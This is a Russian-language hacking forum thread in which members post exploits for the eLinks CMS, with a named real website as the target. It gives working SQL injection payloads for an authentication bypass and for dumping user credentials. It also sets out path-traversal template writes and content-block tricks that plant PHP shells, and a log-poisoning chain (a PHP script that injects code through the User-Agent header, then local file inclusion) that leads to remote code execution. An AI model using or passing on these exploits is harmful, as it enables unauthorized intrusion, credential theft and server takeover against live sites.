[eLinks] Vulnerabilities Собственно, задание ROA#004 подтолкнуло к поиску багов в этой CMS. В этой теме предлагаю выкладывать баги найденные в ходе исследования исходников. ------------------------------------------------------------------------------ #1 [ Обход авторизации ] Необходимое условие: magic_quotes_gpc = Off Первым делом я решил проверить панель логина админки (http://[elinks]/asm_admin.php) на предмет фильтрации полей. Но, к сожалению, все POST-данные фильтровались встроенной функцией setGPC. [core/asm_config.php] PHP: function setGPC (&$array) { // begin function: setGPC foreach ($array as $key => $value) { if (true == is_array($value)) { setGPC($array[$key]); } else { $array[$key] = addslashes($value); } } reset($array); } // end function: setGPC --------------------------- if (!get_magic_quotes_gpc()) { setGPC($_POST); reset($_POST); } Как мы видим, фильтруются только POST-данные, что не может не радовать. Тогда я принялся исследовать алгоритм аутентификации (опознавания пользователя). [core/asm_function.php] PHP: function auth () { global $api; $session = @$_COOKIE['acore']; if ($session != '' && $session != '-1') { if (true == isset($_SESSION['user']['groups'])) { return true; } $rs = $api->DB->query("SELECT * FROM asm_s_members WHERE session = '".$session."' LIMIT 1"); if ($rs->count() == 1) { $_SESSION['user'] = $rs->row(); $api->DB->query("UPDATE asm_s_members SET atime = '".time()."' WHERE session = '".$session."' LIMIT 1"); return true; } } setAuth(0); } Аутентификация осуществляется по COOKIE-переменной acore. Задав этой переменной значение word' OR member_id = '1 Получаем запрос SELECT * FROM asm_s_members WHERE session = 'word' OR member_id = '1' LIMIT 1 Так как сессии с именем 'word' существовать не может, происходит выборка данных администратора (member_id=1). Обновляем страницу и оказываемся в админке. В итоге, не зная даже логина, мы можем зайти под любым пользователем.
Ну я проходил без сорцов, поэтому получилось очень не красиво и геморно) #2 Слепая скуля в поиске Необходимое условие: magic_quotes_gpc = Off http://www.***.com/eLinks-search.php?action=search&word=asian'+or+1=1+and+substring(version(),1,1)=5--+1 Заливка шелла: В админке заходим в редактор темплейтов, редактировать темплейты прав не хватает, но с его помощью можно создавать файлы: В сорцах в форме меняем скрытое поле с именем файла на: <input type="hidden" name="template_name" value="../../../../../home/tgp/***/links/1.php"> Получаем шелл.
угу, только по дефолту там в ./modules/.htaccess PHP: Options -Indexes php_flag short_open_tag Off <Files *.php> Order deny,allow Deny from all </Files> <Files *.ini> Order deny,allow Deny from all </Files> <Files pub.*.php> Order deny,allow Allow from all </Files> так что по дефолту вряд ли такое пройдет =) теперь мое прохождение: Elinks LFI 1. Логинимся в asm_admin.php с любым логином и паролем; 2. получаем сообщение о неверном пароле, но, тем не менее, $_SESSION['user']['member_id']) становится равным 0 3../core/asm_config.php PHP: if ( strpos($_SERVER['HTTP_USER_AGENT'], 'vdebug') ) { set_error_handler('error_handler'); } function error_handler ($errno, $errmsg, $filename, $linenum, $vars) { // BEGIN function if ($errno == 2048 || error_reporting() == 0) { return true; } $error_file = $_SERVER['DOCUMENT_ROOT'].'/files/logs/error.xml'; $_request_url = (true == isset($_SERVER['REQUEST_URI'])) ? 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] : 'http://'.$_SERVER['HTTP_HOST'].'/'; $_http_referer = (true == isset($_SERVER['HTTP_REFERER'])) ? $_SERVER['HTTP_REFERER'] : ''; $_remote_addr = (true == isset($_SERVER['REMOTE_ADDR'])) ? $_SERVER['REMOTE_ADDR'] : ''; $_http_user_agent = (true == isset($_SERVER['HTTP_USER_AGENT'])) ? $_SERVER['HTTP_USER_AGENT'] : ''; $error_content = ' <error date="'.date("Y-m-d H:i:s").'"> <request_url>'.$_request_url.'</request_url> <http_referer>'.$_http_referer.'</http_referer> <remote_addr>'.$_remote_addr.'</remote_addr> <http_user_agent>'.$_http_user_agent.'</http_user_agent> <error_number>'.$errno.'</error_number> <error_message>'.$errmsg.'</error_message> <file_name>'.$filename.'</file_name> <line_number>'.$linenum.'</line_number> </error> </xml>'; $fp = @fopen($error_file, 'r+'); if ($fp) { $cursor_position = filesize($error_file)-7; fseek($fp, $cursor_position); fwrite($fp, $error_content); fclose($fp); } else { $fp = fopen($error_file, 'w'); if ($fp) { fwrite($fp, "<xml>\n".$error_content); fclose($fp); } } 4. под этот код небольшой хттп-пакет с помощью скрипта PHP: <? set_time_limit (0); $site='yobt.com'; $path='/asm_admin.php?update=1'; $fp = fsockopen($site, 80, $errno, $errstr, 30); $out = "GET $path HTTP/1.1\r\n"; $out .= "Host: $site\r\n"; $out .= "Content-type: application/x-www-form-urlencoded\r\n"; $out .= "Connection: Close\r\n"; $out .= "User-Agent: Opera vdebug <?php phpinfo() ?>\r\n"; //тут наш код для инклуда $out .= "Referer: http://laa.com\r\n"; $out .= "Cookie: 1=2;\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { print fread($fp, 4800); } print $out; ?> вместо asm_admin.php?update=1 другой любой файл, который генерирует ошибку похапе (для данного сайта подойдет http://yobt.com/asm.pornstars.search.php); 5. наше пхпинфо, как и прописано в коде, добавляется в ./files/logs/error.xml; 6. в ./asm_clean.php успешно проходим авторизацию PHP: if (isset($_SESSION['user']['member_id']) != '1' && SERVER_IP != $_SERVER['REMOTE_ADDR']) { die('Access denied'); } (так как логинились ранее в админке и переменная $_SESSION['user']['member_id'] существует); 7. идем ниже по коду и видим PHP: if (false == isset($_GET['asm'])) { die('Map command not found'); } $file = base64_decode($_GET['asm']); ... include(PATH.$file); 8. остается только заинклудить наш error.xml =) по ссылке http://yobt.com/asm_clean.php?asm=L2ZpbGVzL2xvZ3MvZXJyb3IueG1s видим вывод пхпинфо (если, конечно, авторизовались, как я писал выше) --------------- Elinks arbitrary code execution (для данного сайта не подойдет, так как админы из дистрибутива удалили дефолтный файл ./core/asm_xml_content.php, но все же) 1. ./core/asm_xml_content.php PHP: <?php error_reporting(7); $page = (true == isset($_GET['page'])) ? $_GET['page'] : 'index'; $page = $_SERVER['DOCUMENT_ROOT'].'/files/tpl/'.$page.'.xml'; if (true == file_exists($page)) { $filemtime = filemtime($page); $filemtime = ($filemtime > 10000) ? $filemtime : time()+3600; $fp = fopen($page, 'r'); $content = fread($fp, filesize($page)); fclose($fp); $content = "?>".$content."<?php "; ob_start(); eval ($content); 2. Добавляем в ./files/error.xml наш похапе способом, описанным выше; 3. Выполняем наш код через http://elinks/core/asm_xml_content.php?page=../logs/error
Локальный инклуд core/xmlrpc.php PHP: $xmlrpc_server = trim( $_GET['xmlrpc_server'] ); $uri = parse_url( $_SERVER['REQUEST_URI'] ); if ( $uri['query'] ) { parse_str( $uri['query'], $_GET ); } if ( true == is_file( PATH."/modules/".$xmlrpc_server."/xmlrpc_server.php" ) ) { include_once( PATH."/modules/".$xmlrpc_server."/xmlrpc_server.php" ); Как мы видим данные из $_GET['xmlrpc_server'] без какой-либо фильтрации попадают в инклуд Пример запроса: Code: http://www.yobt.com/core/xmlrpc.php?xmlrpc_server=eLinks/../../../../../../etc/passwd%00a Поскольку elinks записывает обращения к несуществующим страницам в файл, в него можно записать свой шелл(через user agent) и проиклудить: Code: http://www.yobt.com/core/xmlrpc.php?xmlrpc_server=../files/logs/log.404.txt%00a
Залить шелл можно также через Content Manager->Content Blocks Добавляем новый блок: Name: whatever Alias: s.php Content: <?php phpinfo(); ?> Status: inactive Получаем шелл: /files/blocks/.s.php Правда на yobt.com не работало
Еще одна скуля в поиске: Code: http://yobt.com/eLinks-search.php?action=result&word=asian&user_key=162280130111'+union+select%201,concat_ws(0x3a,user_login,user_pass),3,4+from+asm_s_members/*
Привет из РОА. Кому интересно, было перемещено очень много тем, но они ушли вниз по датам, можете покопаться в созданных у мемберов, теперь они видны. Ну а эту я апнул вот для чего: http://www.packetstormsecurity.org/0908-exploits/elinks-sqlxsslfi.txt Сравните темы. И это не единственная ==================== Inj3ct0r чмоке тебя в счоке. Всё что ты выложил под своим именем у себя и ещё где, я из группы спустил в паблик, хакер, блин. Надеюсь по датам все всё видят сами